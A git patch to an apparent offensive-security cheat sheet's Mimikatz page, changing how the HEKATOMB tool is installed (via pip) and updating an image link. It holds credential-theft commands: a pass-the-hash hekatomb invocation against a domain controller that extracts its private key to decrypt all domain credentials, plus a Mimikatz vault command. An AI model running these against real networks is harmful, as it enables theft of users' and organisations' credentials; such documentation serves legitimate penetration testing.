From 8d564ff78b381b9c772d64822377a441181a6d76 Mon Sep 17 00:00:00 2001 From: Processus Thief Date: Thu, 22 Sep 2022 16:10:20 +0200 Subject: [PATCH] update hekatomb to install with pip hekatomb is now available on pypi to simplify its installation --- Methodology and Resources/Windows - Mimikatz.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md index 7ed1f55..e347fad 100644 --- a/Methodology and Resources/Windows - Mimikatz.md +++ b/Methodology and Resources/Windows - Mimikatz.md @@ -245,12 +245,13 @@ vault::cred /in:C:\Users\demo\AppData\Local\Microsoft\Vault\" > Finally, it will extract domain controller private key through RPC uses it to decrypt all credentials. ```python -python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp +pip3 install hekatomb +hekatomb -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp ``` https://github.com/Processus-Thief/HEKATOMB -![Data in memory](https://docs.lestutosdeprocessus.fr/hekatomb.png) +![Data in memory](https://github.com/Processus-Thief/HEKATOMB/raw/main/.assets/github1.png) ## Mimikatz - Commands list